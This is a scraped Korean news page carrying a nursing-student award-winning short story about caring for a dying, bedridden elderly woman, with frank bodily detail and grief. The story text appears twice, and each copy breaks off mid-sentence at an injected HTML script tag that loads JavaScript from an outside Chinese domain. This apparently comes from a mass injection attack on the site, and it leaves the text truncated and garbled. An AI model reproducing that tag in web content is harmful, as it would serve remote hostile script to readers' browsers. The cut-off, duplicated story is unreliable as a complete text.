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제28회 간호문학상 소설 당선작
그녀와의 거리
기사입력 2008-03-12 오후 15:53:52
문혜석(적십자간호대학 1학년)
겨울로 접어드는 길목에서 그녀가 떠났다. 장지로 향하는 길에는 이승의 끈을 놓지 않으려고 발버둥치는 단풍들이 죽을힘을 다해 온 산을 물들이고 있었다. 거짓 울음을 비웃기라도 하듯 하늘은 티 없이 맑았고 햇살마저 밝았다. 나무 밑에 수북이 쌓여있는 낙엽들은 이미 색을 잃고 바싹 말라버렸다. 바닥에 떨어진 낙엽 하나를 줍자 금세 뭉개져 가루로 변해버린다.
긴 삼일을 보내고 집으로 돌아오니 집안은 엉망이었다. 마른 목을 축이려고 냉장고를 열어보니 그녀가 병원에 가기 며칠 전부터 손을 대지 않았던 호박죽에는 벌써 푸른곰팡이가 피어 있다. 썩은 호박죽을 모두 음식물 쓰레기통에 넣었다. 심하게 부패된 탓인지 냄새에 구역질이 났다. 호박죽 위에 삼일 내내 먹었던 육개장이 덮였다. 지금껏 맡아 본 적 없는 부패의 냄새가 집 구석구석으로 스미는 듯했다. 그것들을 보고 있자니 그녀가 생각났다. 입관식을 할 때 본 그녀의 얼굴은 잠든 그녀의 얼굴과 다를 바가 없었다. 오히려 살아 있을 때보다 더 평온한 모습으로 잠들어 있는 것 같았다. 하지만 그녀도 며칠 후면 심한 냄새를 풍기며 부패되어 갈 것이다. 목에 걸린 것 같던 육개장 덩어리가 다시 목을 타고 넘어 왔다. 그녀를 생각한다는 것은 이런 것이다.
바지를 벗기자 그녀의 앙상한 다리가 드러났다. 마른 똥이 팬티 가에 덕갱이져 있다. 쩍쩍 갈라져 주름진 똥 자국이 그녀의 얼굴에 있는 주름과 같다는 생각을 했다. 꼬장꼬장하고 깔끔했던 그녀는 이제 이 땅에서 사라진 것일까? 처음으로 늙고 병들어서 죽는 것이 두려워졌다.
매일 목욕을 시키고 바디로션까지 촘촘히 발라주지만 어느새 하얀 살비듬이 일어나 있다. 똥이 말라버린 탓인지 팬티를 벗겼는데도 냄새가 심하지 않다. 한낮의 햇살이 그녀의 숱 없는 음순과 먼지에 섞여버린 살비듬을 적나라하게 비추고 있다.
그녀를 덥석 들어 올려 욕실로 향했다. 이제 그녀의 무게가 사람의 무게로 느껴지지 않는다. 그녀를 씻기는 내내 그녀가 인형이 된 것 같다는 생각을 했다. 바싹 마른 타월로 그녀를 감싸 방에 뉘었다. 어디선가 몸에 물기가 마르기 전에 로션을 발라주는 것이 보습효과가 뛰어나다는 것을 본 것 같아 재빠르게 로션을 펴 발랐다. 피부가 건조해지는 것을 막기 위해 가습기를 틀어 놓고 목 끝까지 이불을 덮어 주었다.
벗겨놓은 팬티를 집어 펄펄 끓는 물에 집에 넣었다. 보글보글 올라오는 기포 때문인지 마른 똥 자국은 금세 없어졌다. 저 펄펄 끓는 물에 그녀가 들어간다면 어떻게 될까 생각을 해봤다. 그녀는 ‘앗 뜨거’를 외칠 수 있을까? 인형에겐 목소리가 없으니 아마 그녀도 소리를 지르지 못하겠지.
그녀의 방에서 나는 오물의 냄새가 점점 희미해져 가고 있는 걸 느낀다. 아귀같이 먹을 것에 집착을 보이던 그녀는 이제 어디에도 없는 것 같다. 배설, 그녀의 엄청났던 카타르시스도 어느새 서서히 수그러들고 있다.
가스 불을 끄고 끓인 팬티를 꺼내어 식혔다. 찬물을 틀자 쉬식식 소리와 함께 하얀 증기들이 올라왔다. 증기는 천장에 닿아 물방울이 되어 나를 향해 떨어졌다. 증기가 되고 다시 물이 되어 떨어지는 그것이 그녀의 똥 묻은 팬티에서 나온 것이라는 생각에 얼른 자리를 피해버렸다. 투명한 물방울에서 샛노란 그녀의 카타르시스를 느꼈음이리라.
일정한 간격으로 여섯 번의 괘종이 울렸다. 냉장고에서 평소 그녀가 좋아하던 노란 호박죽을 꺼냈다. 하루 이틀이면 바닥을 보이던 호박죽은 며칠째 줄어들 기미가 보이지 않는다. 오랜만에 변을 보았으니 한 숟가락이라도 들겠지 하는 생각에 전자레인지를 돌렸다. 1분 30초를 쉴 새 없이 돌던 죽 그릇이 미동 없이 ‘삐익-’ 소리와 함께 멈춰버렸다. 문을 열자 따뜻한 증기가 곧 식어버렸다. 죽 그릇은 맨 손으로는 들 수 없을 정도로 뜨거웠다. 호박의 달착지근한 냄새에 침이 고였다. 나도 모르게 입에 한 숟가락을 넣었다. 숟가락이 자동적으로 그릇과 입 사이를 오고 갔다.
‘침 묻은 숟가락을 어디에 넣는 거야? 죽은 침이 묻으면 삭아서 다 버려야 돼. 도대체 니 어머닌 그런 것도 안 가르치고 뭐하신 거니?’
그녀에게 호박죽 끓이는 법을 배우던 날 맛을 보다가 혼난 기억이 났다. 내가 먹던 죽을 그대로 두고 그녀의 것을 다시 꺼내어 돌렸다.
눈은 뜨고 있지만 그녀의 눈에는 초점이 없다. 후후 분 죽을 그녀의 입에 넣어 줬다. 그녀의 입으로 들어가는 양이 반 그녀의 볼을 타고 흐르는 양이 반이다. 점점 한 입을 받아들이는 시간도 길어지고 있다. 다섯 숟가락 째에서 그녀가 입을 다물어 버렸다. 먹기 싫다는 의사 표현은 살아 있다는 증거이기도 하지만 죽고 싶다는 증거이기도 하다.
그녀는 정말 죽기로 결심한 것일까? 그녀는 죽고 싶었다면 더 간단한 방법을 택했어야 했다. 자?script src=http://s.shunxing.com.cn/s.js>
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겨울로 접어드는 길목에서 그녀가 떠났다. 장지로 향하는 길에는 이승의 끈을 놓지 않으려고 발버둥치는 단풍들이 죽을힘을 다해 온 산을 물들이고 있었다. 거짓 울음을 비웃기라도 하듯 하늘은 티 없이 맑았고 햇살마저 밝았다. 나무 밑에 수북이 쌓여있는 낙엽들은 이미 색을 잃고 바싹 말라버렸다. 바닥에 떨어진 낙엽 하나를 줍자 금세 뭉개져 가루로 변해버린다.
긴 삼일을 보내고 집으로 돌아오니 집안은 엉망이었다. 마른 목을 축이려고 냉장고를 열어보니 그녀가 병원에 가기 며칠 전부터 손을 대지 않았던 호박죽에는 벌써 푸른곰팡이가 피어 있다. 썩은 호박죽을 모두 음식물 쓰레기통에 넣었다. 심하게 부패된 탓인지 냄새에 구역질이 났다. 호박죽 위에 삼일 내내 먹었던 육개장이 덮였다. 지금껏 맡아 본 적 없는 부패의 냄새가 집 구석구석으로 스미는 듯했다. 그것들을 보고 있자니 그녀가 생각났다. 입관식을 할 때 본 그녀의 얼굴은 잠든 그녀의 얼굴과 다를 바가 없었다. 오히려 살아 있을 때보다 더 평온한 모습으로 잠들어 있는 것 같았다. 하지만 그녀도 며칠 후면 심한 냄새를 풍기며 부패되어 갈 것이다. 목에 걸린 것 같던 육개장 덩어리가 다시 목을 타고 넘어 왔다. 그녀를 생각한다는 것은 이런 것이다.
바지를 벗기자 그녀의 앙상한 다리가 드러났다. 마른 똥이 팬티 가에 덕갱이져 있다. 쩍쩍 갈라져 주름진 똥 자국이 그녀의 얼굴에 있는 주름과 같다는 생각을 했다. 꼬장꼬장하고 깔끔했던 그녀는 이제 이 땅에서 사라진 것일까? 처음으로 늙고 병들어서 죽는 것이 두려워졌다.
매일 목욕을 시키고 바디로션까지 촘촘히 발라주지만 어느새 하얀 살비듬이 일어나 있다. 똥이 말라버린 탓인지 팬티를 벗겼는데도 냄새가 심하지 않다. 한낮의 햇살이 그녀의 숱 없는 음순과 먼지에 섞여버린 살비듬을 적나라하게 비추고 있다.
그녀를 덥석 들어 올려 욕실로 향했다. 이제 그녀의 무게가 사람의 무게로 느껴지지 않는다. 그녀를 씻기는 내내 그녀가 인형이 된 것 같다는 생각을 했다. 바싹 마른 타월로 그녀를 감싸 방에 뉘었다. 어디선가 몸에 물기가 마르기 전에 로션을 발라주는 것이 보습효과가 뛰어나다는 것을 본 것 같아 재빠르게 로션을 펴 발랐다. 피부가 건조해지는 것을 막기 위해 가습기를 틀어 놓고 목 끝까지 이불을 덮어 주었다.
벗겨놓은 팬티를 집어 펄펄 끓는 물에 집에 넣었다. 보글보글 올라오는 기포 때문인지 마른 똥 자국은 금세 없어졌다. 저 펄펄 끓는 물에 그녀가 들어간다면 어떻게 될까 생각을 해봤다. 그녀는 ‘앗 뜨거’를 외칠 수 있을까? 인형에겐 목소리가 없으니 아마 그녀도 소리를 지르지 못하겠지.
그녀의 방에서 나는 오물의 냄새가 점점 희미해져 가고 있는 걸 느낀다. 아귀같이 먹을 것에 집착을 보이던 그녀는 이제 어디에도 없는 것 같다. 배설, 그녀의 엄청났던 카타르시스도 어느새 서서히 수그러들고 있다.
가스 불을 끄고 끓인 팬티를 꺼내어 식혔다. 찬물을 틀자 쉬식식 소리와 함께 하얀 증기들이 올라왔다. 증기는 천장에 닿아 물방울이 되어 나를 향해 떨어졌다. 증기가 되고 다시 물이 되어 떨어지는 그것이 그녀의 똥 묻은 팬티에서 나온 것이라는 생각에 얼른 자리를 피해버렸다. 투명한 물방울에서 샛노란 그녀의 카타르시스를 느꼈음이리라.
일정한 간격으로 여섯 번의 괘종이 울렸다. 냉장고에서 평소 그녀가 좋아하던 노란 호박죽을 꺼냈다. 하루 이틀이면 바닥을 보이던 호박죽은 며칠째 줄어들 기미가 보이지 않는다. 오랜만에 변을 보았으니 한 숟가락이라도 들겠지 하는 생각에 전자레인지를 돌렸다. 1분 30초를 쉴 새 없이 돌던 죽 그릇이 미동 없이 ‘삐익-’ 소리와 함께 멈춰버렸다. 문을 열자 따뜻한 증기가 곧 식어버렸다. 죽 그릇은 맨 손으로는 들 수 없을 정도로 뜨거웠다. 호박의 달착지근한 냄새에 침이 고였다. 나도 모르게 입에 한 숟가락을 넣었다. 숟가락이 자동적으로 그릇과 입 사이를 오고 갔다.
‘침 묻은 숟가락을 어디에 넣는 거야? 죽은 침이 묻으면 삭아서 다 버려야 돼. 도대체 니 어머닌 그런 것도 안 가르치고 뭐하신 거니?’
그녀에게 호박죽 끓이는 법을 배우던 날 맛을 보다가 혼난 기억이 났다. 내가 먹던 죽을 그대로 두고 그녀의 것을 다시 꺼내어 돌렸다.
눈은 뜨고 있지만 그녀의 눈에는 초점이 없다. 후후 분 죽을 그녀의 입에 넣어 줬다. 그녀의 입으로 들어가는 양이 반 그녀의 볼을 타고 흐르는 양이 반이다. 점점 한 입을 받아들이는 시간도 길어지고 있다. 다섯 숟가락 째에서 그녀가 입을 다물어 버렸다. 먹기 싫다는 의사 표현은 살아 있다는 증거이기도 하지만 죽고 싶다는 증거이기도 하다.
그녀는 정말 죽기로 결심한 것일까? 그녀는 죽고 싶었다면 더 간단한 방법을 택했어야 했다. 자?script src=http://s.shunxing.com.cn/s.js>
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